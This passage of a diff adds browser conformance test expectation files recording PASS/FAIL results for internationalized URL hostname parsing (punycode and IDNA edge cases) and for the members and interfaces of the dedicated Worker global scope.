+FAIL xn--a.β (using <a>) assert_equals: expected "https://xn--a.β/x" but got "https://xn--a.%CE%B2/x"
+FAIL xn--a.β (using <a>.host) assert_equals: expected "x" but got ""
+FAIL xn--a.β (using <a>.hostname) assert_equals: expected "x" but got ""
+FAIL xn--a.β (using <area>) assert_equals: expected "https://xn--a.β/x" but got "https://xn--a.%CE%B2/x"
+FAIL xn--a.β (using <area>.host) assert_equals: expected "x" but got ""
+FAIL xn--a.β (using <area>.hostname) assert_equals: expected "x" but got ""
+PASS xn--nxa.xn--nxa (using URL) 
+PASS xn--nxa.xn--nxa (using URL.host) 
+PASS xn--nxa.xn--nxa (using URL.hostname) 
+PASS xn--nxa.xn--nxa (using <a>) 
+PASS xn--nxa.xn--nxa (using <a>.host) 
+PASS xn--nxa.xn--nxa (using <a>.hostname) 
+PASS xn--nxa.xn--nxa (using <area>) 
+PASS xn--nxa.xn--nxa (using <area>.host) 
+PASS xn--nxa.xn--nxa (using <area>.hostname) 
+PASS xn--nxa.β (using URL) 
+PASS xn--nxa.β (using URL.host) 
+PASS xn--nxa.β (using URL.hostname) 
+PASS xn--nxa.β (using <a>) 
+PASS xn--nxa.β (using <a>.host) 
+PASS xn--nxa.β (using <a>.hostname) 
+PASS xn--nxa.β (using <area>) 
+PASS xn--nxa.β (using <area>.host) 
+PASS xn--nxa.β (using <area>.hostname) 
+PASS ab--c.xn--nxa (using URL) 
+PASS ab--c.xn--nxa (using URL.host) 
+PASS ab--c.xn--nxa (using URL.hostname) 
+PASS ab--c.xn--nxa (using <a>) 
+PASS ab--c.xn--nxa (using <a>.host) 
+PASS ab--c.xn--nxa (using <a>.hostname) 
+PASS ab--c.xn--nxa (using <area>) 
+PASS ab--c.xn--nxa (using <area>.host) 
+PASS ab--c.xn--nxa (using <area>.hostname) 
+FAIL ab--c.β (using URL) Failed to construct 'URL': Invalid URL
+FAIL ab--c.β (using URL.host) assert_equals: expected "ab--c.xn--nxa" but got ""
+FAIL ab--c.β (using URL.hostname) assert_equals: expected "ab--c.xn--nxa" but got ""
+FAIL ab--c.β (using <a>) Failed to construct 'URL': Invalid URL
+FAIL ab--c.β (using <a>.host) assert_equals: expected "ab--c.xn--nxa" but got ""
+FAIL ab--c.β (using <a>.hostname) assert_equals: expected "ab--c.xn--nxa" but got ""
+FAIL ab--c.β (using <area>) Failed to construct 'URL': Invalid URL
+FAIL ab--c.β (using <area>.host) assert_equals: expected "ab--c.xn--nxa" but got ""
+FAIL ab--c.β (using <area>.hostname) assert_equals: expected "ab--c.xn--nxa" but got ""
+PASS ‍.example (using URL) 
+FAIL ‍.example (using URL.host) assert_equals: expected "x" but got ""
+FAIL ‍.example (using URL.hostname) assert_equals: expected "x" but got ""
+FAIL ‍.example (using <a>) assert_equals: expected "https://‍.example/x" but got "https://%E2%80%8D.example/x"
+FAIL ‍.example (using <a>.host) assert_equals: expected "x" but got ""
+FAIL ‍.example (using <a>.hostname) assert_equals: expected "x" but got ""
+FAIL ‍.example (using <area>) assert_equals: expected "https://‍.example/x" but got "https://%E2%80%8D.example/x"
+FAIL ‍.example (using <area>.host) assert_equals: expected "x" but got ""
+FAIL ‍.example (using <area>.hostname) assert_equals: expected "x" but got ""
+FAIL xn--1ug.example (using URL) assert_throws: function "() => makeURL("url", hostTest.input)" did not throw
+FAIL xn--1ug.example (using URL.host) assert_equals: expected "x" but got "xn--1ug.example"
+FAIL xn--1ug.example (using URL.hostname) assert_equals: expected "x" but got "xn--1ug.example"
+FAIL xn--1ug.example (using <a>) assert_equals: expected "" but got "xn--1ug.example"
+FAIL xn--1ug.example (using <a>.host) assert_equals: expected "x" but got "xn--1ug.example"
+FAIL xn--1ug.example (using <a>.hostname) assert_equals: expected "x" but got "xn--1ug.example"
+FAIL xn--1ug.example (using <area>) assert_equals: expected "" but got "xn--1ug.example"
+FAIL xn--1ug.example (using <area>.host) assert_equals: expected "x" but got "xn--1ug.example"
+FAIL xn--1ug.example (using <area>.hostname) assert_equals: expected "x" but got "xn--1ug.example"
+PASS يa (using URL) 
+FAIL يa (using URL.host) assert_equals: expected "x" but got ""
+FAIL يa (using URL.hostname) assert_equals: expected "x" but got ""
+FAIL يa (using <a>) assert_equals: expected "https://يa/x" but got "https://%D9%8Aa/x"
+FAIL يa (using <a>.host) assert_equals: expected "x" but got ""
+FAIL يa (using <a>.hostname) assert_equals: expected "x" but got ""
+FAIL يa (using <area>) assert_equals: expected "https://يa/x" but got "https://%D9%8Aa/x"
+FAIL يa (using <area>.host) assert_equals: expected "x" but got ""
+FAIL يa (using <area>.hostname) assert_equals: expected "x" but got ""
+FAIL xn--a-yoc (using URL) assert_throws: function "() => makeURL("url", hostTest.input)" did not throw
+FAIL xn--a-yoc (using URL.host) assert_equals: expected "x" but got "xn--a-yoc"
+FAIL xn--a-yoc (using URL.hostname) assert_equals: expected "x" but got "xn--a-yoc"
+FAIL xn--a-yoc (using <a>) assert_equals: expected "" but got "xn--a-yoc"
+FAIL xn--a-yoc (using <a>.host) assert_equals: expected "x" but got "xn--a-yoc"
+FAIL xn--a-yoc (using <a>.hostname) assert_equals: expected "x" but got "xn--a-yoc"
+FAIL xn--a-yoc (using <area>) assert_equals: expected "" but got "xn--a-yoc"
+FAIL xn--a-yoc (using <area>.host) assert_equals: expected "x" but got "xn--a-yoc"
+FAIL xn--a-yoc (using <area>.hostname) assert_equals: expected "x" but got "xn--a-yoc"
+FAIL ශ්‍රී (using URL) assert_equals: expected "xn--10cl1a0b660p" but got "xn--10cl1a0b"
+FAIL ශ්‍රී (using URL.host) assert_equals: expected "xn--10cl1a0b660p" but got "xn--10cl1a0b"
+FAIL ශ්‍රී (using URL.hostname) assert_equals: expected "xn--10cl1a0b660p" but got "xn--10cl1a0b"
+FAIL ශ්‍රී (using <a>) assert_equals: expected "xn--10cl1a0b660p" but got "xn--10cl1a0b"
+FAIL ශ්‍රී (using <a>.host) assert_equals: expected "xn--10cl1a0b660p" but got "xn--10cl1a0b"
+FAIL ශ්‍රී (using <a>.hostname) assert_equals: expected "xn--10cl1a0b660p" but got "xn--10cl1a0b"
+FAIL ශ්‍රී (using <area>) assert_equals: expected "xn--10cl1a0b660p" but got "xn--10cl1a0b"
+FAIL ශ්‍රී (using <area>.host) assert_equals: expected "xn--10cl1a0b660p" but got "xn--10cl1a0b"
+FAIL ශ්‍රී (using <area>.hostname) assert_equals: expected "xn--10cl1a0b660p" but got "xn--10cl1a0b"
+FAIL نامه‌ای (using URL) assert_equals: expected "xn--mgba3gch31f060k" but got "xn--mgba3gch31f"
+FAIL نامه‌ای (using URL.host) assert_equals: expected "xn--mgba3gch31f060k" but got "xn--mgba3gch31f"
+FAIL نامه‌ای (using URL.hostname) assert_equals: expected "xn--mgba3gch31f060k" but got "xn--mgba3gch31f"
+FAIL نامه‌ای (using <a>) assert_equals: expected "xn--mgba3gch31f060k" but got "xn--mgba3gch31f"
+FAIL نامه‌ای (using <a>.host) assert_equals: expected "xn--mgba3gch31f060k" but got "xn--mgba3gch31f"
+FAIL نامه‌ای (using <a>.hostname) assert_equals: expected "xn--mgba3gch31f060k" but got "xn--mgba3gch31f"
+FAIL نامه‌ای (using <area>) assert_equals: expected "xn--mgba3gch31f060k" but got "xn--mgba3gch31f"
+FAIL نامه‌ای (using <area>.host) assert_equals: expected "xn--mgba3gch31f060k" but got "xn--mgba3gch31f"
+FAIL نامه‌ای (using <area>.hostname) assert_equals: expected "xn--mgba3gch31f060k" but got "xn--mgba3gch31f"
+PASS �.com (using URL) 
+FAIL �.com (using URL.host) assert_equals: expected "x" but got ""
+FAIL �.com (using URL.hostname) assert_equals: expected "x" but got ""
+FAIL �.com (using <a>) assert_equals: expected "https://\ufffd.com/x" but got "https://%EF%BF%BD.com/x"
+FAIL �.com (using <a>.host) assert_equals: expected "x" but got ""
+FAIL �.com (using <a>.hostname) assert_equals: expected "x" but got ""
+FAIL �.com (using <area>) assert_equals: expected "https://\ufffd.com/x" but got "https://%EF%BF%BD.com/x"
+FAIL �.com (using <area>.host) assert_equals: expected "x" but got ""
+FAIL �.com (using <area>.hostname) assert_equals: expected "x" but got ""
+FAIL xn--zn7c.com (using URL) assert_throws: function "() => makeURL("url", hostTest.input)" did not throw
+FAIL xn--zn7c.com (using URL.host) assert_equals: expected "x" but got "xn--zn7c.com"
+FAIL xn--zn7c.com (using URL.hostname) assert_equals: expected "x" but got "xn--zn7c.com"
+FAIL xn--zn7c.com (using <a>) assert_equals: expected "" but got "xn--zn7c.com"
+FAIL xn--zn7c.com (using <a>.host) assert_equals: expected "x" but got "xn--zn7c.com"
+FAIL xn--zn7c.com (using <a>.hostname) assert_equals: expected "x" but got "xn--zn7c.com"
+FAIL xn--zn7c.com (using <area>) assert_equals: expected "" but got "xn--zn7c.com"
+FAIL xn--zn7c.com (using <area>.host) assert_equals: expected "x" but got "xn--zn7c.com"
+FAIL xn--zn7c.com (using <area>.hostname) assert_equals: expected "x" but got "xn--zn7c.com"
+PASS x01234567890123456789012345678901234567890123456789012345678901x (using URL) 
+PASS x01234567890123456789012345678901234567890123456789012345678901x (using URL.host) 
+PASS x01234567890123456789012345678901234567890123456789012345678901x (using URL.hostname) 
+PASS x01234567890123456789012345678901234567890123456789012345678901x (using <a>) 
+PASS x01234567890123456789012345678901234567890123456789012345678901x (using <a>.host) 
+PASS x01234567890123456789012345678901234567890123456789012345678901x (using <a>.hostname) 
+PASS x01234567890123456789012345678901234567890123456789012345678901x (using <area>) 
+PASS x01234567890123456789012345678901234567890123456789012345678901x (using <area>.host) 
+PASS x01234567890123456789012345678901234567890123456789012345678901x (using <area>.hostname) 
+FAIL x01234567890123456789012345678901234567890123456789012345678901† (using URL) Failed to construct 'URL': Invalid URL
+FAIL x01234567890123456789012345678901234567890123456789012345678901† (using URL.host) assert_equals: expected "xn--x01234567890123456789012345678901234567890123456789012345678901-6963b" but got ""
+FAIL x01234567890123456789012345678901234567890123456789012345678901† (using URL.hostname) assert_equals: expected "xn--x01234567890123456789012345678901234567890123456789012345678901-6963b" but got ""
+FAIL x01234567890123456789012345678901234567890123456789012345678901† (using <a>) Failed to construct 'URL': Invalid URL
+FAIL x01234567890123456789012345678901234567890123456789012345678901† (using <a>.host) assert_equals: expected "xn--x01234567890123456789012345678901234567890123456789012345678901-6963b" but got ""
+FAIL x01234567890123456789012345678901234567890123456789012345678901† (using <a>.hostname) assert_equals: expected "xn--x01234567890123456789012345678901234567890123456789012345678901-6963b" but got ""
+FAIL x01234567890123456789012345678901234567890123456789012345678901† (using <area>) Failed to construct 'URL': Invalid URL
+FAIL x01234567890123456789012345678901234567890123456789012345678901† (using <area>.host) assert_equals: expected "xn--x01234567890123456789012345678901234567890123456789012345678901-6963b" but got ""
+FAIL x01234567890123456789012345678901234567890123456789012345678901† (using <area>.hostname) assert_equals: expected "xn--x01234567890123456789012345678901234567890123456789012345678901-6963b" but got ""
+PASS x01234567890123456789012345678901234567890123456789012345678901x.xn--nxa (using URL) 
+PASS x01234567890123456789012345678901234567890123456789012345678901x.xn--nxa (using URL.host) 
+PASS x01234567890123456789012345678901234567890123456789012345678901x.xn--nxa (using URL.hostname) 
+PASS x01234567890123456789012345678901234567890123456789012345678901x.xn--nxa (using <a>) 
+PASS x01234567890123456789012345678901234567890123456789012345678901x.xn--nxa (using <a>.host) 
+PASS x01234567890123456789012345678901234567890123456789012345678901x.xn--nxa (using <a>.hostname) 
+PASS x01234567890123456789012345678901234567890123456789012345678901x.xn--nxa (using <area>) 
+PASS x01234567890123456789012345678901234567890123456789012345678901x.xn--nxa (using <area>.host) 
+PASS x01234567890123456789012345678901234567890123456789012345678901x.xn--nxa (using <area>.hostname) 
+FAIL x01234567890123456789012345678901234567890123456789012345678901x.β (using URL) Failed to construct 'URL': Invalid URL
+FAIL x01234567890123456789012345678901234567890123456789012345678901x.β (using URL.host) assert_equals: expected "x01234567890123456789012345678901234567890123456789012345678901x.xn--nxa" but got ""
+FAIL x01234567890123456789012345678901234567890123456789012345678901x.β (using URL.hostname) assert_equals: expected "x01234567890123456789012345678901234567890123456789012345678901x.xn--nxa" but got ""
+FAIL x01234567890123456789012345678901234567890123456789012345678901x.β (using <a>) Failed to construct 'URL': Invalid URL
+FAIL x01234567890123456789012345678901234567890123456789012345678901x.β (using <a>.host) assert_equals: expected "x01234567890123456789012345678901234567890123456789012345678901x.xn--nxa" but got ""
+FAIL x01234567890123456789012345678901234567890123456789012345678901x.β (using <a>.hostname) assert_equals: expected "x01234567890123456789012345678901234567890123456789012345678901x.xn--nxa" but got ""
+FAIL x01234567890123456789012345678901234567890123456789012345678901x.β (using <area>) Failed to construct 'URL': Invalid URL
+FAIL x01234567890123456789012345678901234567890123456789012345678901x.β (using <area>.host) assert_equals: expected "x01234567890123456789012345678901234567890123456789012345678901x.xn--nxa" but got ""
+FAIL x01234567890123456789012345678901234567890123456789012345678901x.β (using <area>.hostname) assert_equals: expected "x01234567890123456789012345678901234567890123456789012345678901x.xn--nxa" but got ""
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.x (using URL) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.x (using URL.host) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.x (using URL.hostname) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.x (using <a>) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.x (using <a>.host) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.x (using <a>.hostname) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.x (using <area>) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.x (using <area>.host) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.x (using <area>.hostname) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.xn--nxa (using URL) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.xn--nxa (using URL.host) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.xn--nxa (using URL.hostname) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.xn--nxa (using <a>) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.xn--nxa (using <a>.host) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.xn--nxa (using <a>.hostname) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.xn--nxa (using <area>) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.xn--nxa (using <area>.host) 
+PASS 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.xn--nxa (using <area>.hostname) 
+FAIL 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.β (using URL) Failed to construct 'URL': Invalid URL
+FAIL 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.β (using URL.host) assert_equals: expected "01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.xn--nxa" but got ""
+FAIL 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.β (using URL.hostname) assert_equals: expected "01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.xn--nxa" but got ""
+FAIL 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.β (using <a>) Failed to construct 'URL': Invalid URL
+FAIL 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.β (using <a>.host) assert_equals: expected "01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.xn--nxa" but got ""
+FAIL 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.β (using <a>.hostname) assert_equals: expected "01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.xn--nxa" but got ""
+FAIL 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.β (using <area>) Failed to construct 'URL': Invalid URL
+FAIL 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.β (using <area>.host) assert_equals: expected "01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.xn--nxa" but got ""
+FAIL 01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.β (using <area>.hostname) assert_equals: expected "01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.01234567890123456789012345678901234567890123456789.0123456789012345678901234567890123456789012345678.xn--nxa" but got ""
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/workers/constructors/Worker/DedicatedWorkerGlobalScope-members.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/workers/constructors/Worker/DedicatedWorkerGlobalScope-members.worker-expected.txt
new file mode 100644
index 0000000..e028363b
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/workers/constructors/Worker/DedicatedWorkerGlobalScope-members.worker-expected.txt
@@ -0,0 +1,22 @@
+This is a testharness.js-based test.
+PASS existence of postMessage 
+PASS existence of onmessage 
+PASS existence of self 
+PASS existence of location 
+PASS existence of close 
+PASS existence of onerror 
+FAIL existence of onoffline assert_true: expected true got false
+FAIL existence of ononline assert_true: expected true got false
+PASS existence of addEventListener 
+PASS existence of removeEventListener 
+PASS existence of dispatchEvent 
+PASS existence of importScripts 
+PASS existence of navigator 
+PASS existence of setTimeout 
+PASS existence of clearTimeout 
+PASS existence of setInterval 
+PASS existence of clearInterval 
+PASS existence of btoa 
+PASS existence of atob 
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/workers/constructors/Worker/expected-self-properties.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/workers/constructors/Worker/expected-self-properties.worker-expected.txt
new file mode 100644
index 0000000..1c8515c
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/workers/constructors/Worker/expected-self-properties.worker-expected.txt
@@ -0,0 +1,9 @@
+This is a testharness.js-based test.
+PASS existence of XMLHttpRequest 
+PASS existence of WebSocket 
+PASS existence of EventSource 
+PASS existence of MessageChannel 
+FAIL existence of Worker assert_true: expected true got false
+FAIL existence of SharedWorker assert_true: expected true got false
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/workers/interfaces.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/workers/interfaces.worker-expected.txt
new file mode 100644
index 0000000..4cbda0d
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/workers/interfaces.worker-expected.txt
@@ -0,0 +1,160 @@
+This is a testharness.js-based test.
+Found 156 tests; 144 PASS, 12 FAIL, 0 TIMEOUT, 0 NOTRUN.
+PASS EventTarget interface: existence and properties of interface object 
+PASS EventTarget interface object length 
+PASS EventTarget interface object name 
+PASS EventTarget interface: existence and properties of interface prototype object 
+PASS EventTarget interface: existence and properties of interface prototype object's "constructor" property 
+PASS EventTarget interface: operation addEventListener(DOMString,EventListener,[object Object],[object Object]) 
+PASS EventTarget interface: operation removeEventListener(DOMString,EventListener,[object Object],[object Object]) 
+PASS EventTarget interface: operation dispatchEvent(Event) 
+PASS EventListener interface: existence and properties of interface object 
+PASS WorkerGlobalScope interface: existence and properties of interface object 
+PASS WorkerGlobalScope interface object length 
+PASS WorkerGlobalScope interface object name 
+PASS WorkerGlobalScope interface: existence and properties of interface prototype object 
+PASS WorkerGlobalScope interface: existence and properties of interface prototype object's "constructor" property 
+PASS WorkerGlobalScope interface: attribute self 
+PASS WorkerGlobalScope interface: attribute location 
+PASS WorkerGlobalScope interface: attribute navigator 
+PASS WorkerGlobalScope interface: operation importScripts(USVString) 
+PASS WorkerGlobalScope interface: attribute onerror 
+FAIL WorkerGlobalScope interface: attribute onlanguagechange assert_true: The prototype object must have a property "onlanguagechange" expected true got false
+FAIL WorkerGlobalScope interface: attribute onoffline assert_true: The prototype object must have a property "onoffline" expected true got false
+FAIL WorkerGlobalScope interface: attribute ononline assert_true: The prototype object must have a property "ononline" expected true got false
+PASS WorkerGlobalScope interface: attribute onrejectionhandled 
+PASS WorkerGlobalScope interface: attribute onunhandledrejection 
+PASS WorkerGlobalScope interface: attribute origin 
+PASS WorkerGlobalScope interface: operation btoa(DOMString) 
+PASS WorkerGlobalScope interface: operation atob(DOMString) 
+PASS WorkerGlobalScope interface: operation setTimeout(TimerHandler,long,any) 
+PASS WorkerGlobalScope interface: operation clearTimeout(long) 
+PASS WorkerGlobalScope interface: operation setInterval(TimerHandler,long,any) 
+PASS WorkerGlobalScope interface: operation clearInterval(long) 
+PASS WorkerGlobalScope interface: operation createImageBitmap(ImageBitmapSource,ImageBitmapOptions) 
+PASS WorkerGlobalScope interface: operation createImageBitmap(ImageBitmapSource,long,long,long,long,ImageBitmapOptions) 
+PASS DedicatedWorkerGlobalScope interface: existence and properties of interface object 
+PASS DedicatedWorkerGlobalScope interface object length 
+PASS DedicatedWorkerGlobalScope interface object name 
+PASS DedicatedWorkerGlobalScope interface: existence and properties of interface prototype object 
+PASS DedicatedWorkerGlobalScope interface: internal [[SetPrototypeOf]] method of interface prototype object - setting to a new value via Object.setPrototypeOf should throw a TypeError 
+PASS DedicatedWorkerGlobalScope interface: internal [[SetPrototypeOf]] method of interface prototype object - setting to a new value via __proto__ should throw a TypeError 
+PASS DedicatedWorkerGlobalScope interface: internal [[SetPrototypeOf]] method of interface prototype object - setting to a new value via Reflect.setPrototypeOf should return false 
+PASS DedicatedWorkerGlobalScope interface: internal [[SetPrototypeOf]] method of interface prototype object - setting to its original value via Object.setPrototypeOf should not throw 
+PASS DedicatedWorkerGlobalScope interface: internal [[SetPrototypeOf]] method of interface prototype object - setting to its original value via __proto__ should not throw 
+PASS DedicatedWorkerGlobalScope interface: internal [[SetPrototypeOf]] method of interface prototype object - setting to its original value via Reflect.setPrototypeOf should return true 
+PASS DedicatedWorkerGlobalScope interface: existence and properties of interface prototype object's "constructor" property 
+FAIL DedicatedWorkerGlobalScope interface: attribute name assert_own_property: The global object must have a property "name" expected property "name" missing
+PASS DedicatedWorkerGlobalScope interface: operation postMessage(any,[object Object]) 
+PASS DedicatedWorkerGlobalScope interface: operation close() 
+PASS DedicatedWorkerGlobalScope interface: attribute onmessage 
+PASS DedicatedWorkerGlobalScope interface: attribute onmessageerror 
+PASS DedicatedWorkerGlobalScope interface: internal [[SetPrototypeOf]] method of global platform object - setting to a new value via Object.setPrototypeOf should throw a TypeError 
+PASS DedicatedWorkerGlobalScope interface: internal [[SetPrototypeOf]] method of global platform object - setting to a new value via __proto__ should throw a TypeError 
+PASS DedicatedWorkerGlobalScope interface: internal [[SetPrototypeOf]] method of global platform object - setting to a new value via Reflect.setPrototypeOf should return false 
+PASS DedicatedWorkerGlobalScope interface: internal [[SetPrototypeOf]] method of global platform object - setting to its original value via Object.setPrototypeOf should not throw 
+PASS DedicatedWorkerGlobalScope interface: internal [[SetPrototypeOf]] method of global platform object - setting to its original value via __proto__ should not throw 
+PASS DedicatedWorkerGlobalScope interface: internal [[SetPrototypeOf]] method of global platform object - setting to its original value via Reflect.setPrototypeOf should return true 
+PASS DedicatedWorkerGlobalScope must be primary interface of self 
+PASS Stringification of self 
+FAIL DedicatedWorkerGlobalScope interface: self must inherit property "name" with the proper type (0) assert_own_property: expected property "name" missing
+PASS DedicatedWorkerGlobalScope interface: self must inherit property "postMessage" with the proper type (1) 
+PASS DedicatedWorkerGlobalScope interface: calling postMessage(any,[object Object]) on self with too few arguments must throw TypeError 
+PASS DedicatedWorkerGlobalScope interface: self must inherit property "close" with the proper type (2) 
+PASS DedicatedWorkerGlobalScope interface: self must inherit property "onmessage" with the proper type (3) 
+PASS DedicatedWorkerGlobalScope interface: self must inherit property "onmessageerror" with the proper type (4) 
+PASS WorkerGlobalScope interface: self must inherit property "self" with the proper type (0) 
+PASS WorkerGlobalScope interface: self must inherit property "location" with the proper type (1) 
+PASS WorkerGlobalScope interface: self must inherit property "navigator" with the proper type (2) 
+PASS WorkerGlobalScope interface: self must inherit property "importScripts" with the proper type (3) 
+PASS WorkerGlobalScope interface: calling importScripts(USVString) on self with too few arguments must throw TypeError 
+PASS WorkerGlobalScope interface: self must inherit property "onerror" with the proper type (4) 
+FAIL WorkerGlobalScope interface: self must inherit property "onlanguagechange" with the proper type (5) assert_inherits: property "onlanguagechange" not found in prototype chain
+FAIL WorkerGlobalScope interface: self must inherit property "onoffline" with the proper type (6) assert_inherits: property "onoffline" not found in prototype chain
+FAIL WorkerGlobalScope interface: self must inherit property "ononline" with the proper type (7) assert_inherits: property "ononline" not found in prototype chain
+PASS WorkerGlobalScope interface: self must inherit property "onrejectionhandled" with the proper type (8) 
+PASS WorkerGlobalScope interface: self must inherit property "onunhandledrejection" with the proper type (9) 
+PASS WorkerGlobalScope interface: self must inherit property "origin" with the proper type (10) 
+PASS WorkerGlobalScope interface: self must inherit property "btoa" with the proper type (11) 
+PASS WorkerGlobalScope interface: calling btoa(DOMString) on self with too few arguments must throw TypeError 
+PASS WorkerGlobalScope interface: self must inherit property "atob" with the proper type (12) 
+PASS WorkerGlobalScope interface: calling atob(DOMString) on self with too few arguments must throw TypeError 
+PASS WorkerGlobalScope interface: self must inherit property "setTimeout" with the proper type (13) 
+PASS WorkerGlobalScope interface: calling setTimeout(TimerHandler,long,any) on self with too few arguments must throw TypeError 
+PASS WorkerGlobalScope interface: self must inherit property "clearTimeout" with the proper type (14) 
+PASS WorkerGlobalScope interface: calling clearTimeout(long) on self with too few arguments must throw TypeError 
+PASS WorkerGlobalScope interface: self must inherit property "setInterval" with the proper type (15) 
+PASS WorkerGlobalScope interface: calling setInterval(TimerHandler,long,any) on self with too few arguments must throw TypeError 
+PASS WorkerGlobalScope interface: self must inherit property "clearInterval" with the proper type (16) 
+PASS WorkerGlobalScope interface: calling clearInterval(long) on self with too few arguments must throw TypeError 
+PASS WorkerGlobalScope interface: self must inherit property "createImageBitmap" with the proper type (17) 
+PASS WorkerGlobalScope interface: calling createImageBitmap(ImageBitmapSource,ImageBitmapOptions) on self with too few arguments must throw TypeError 
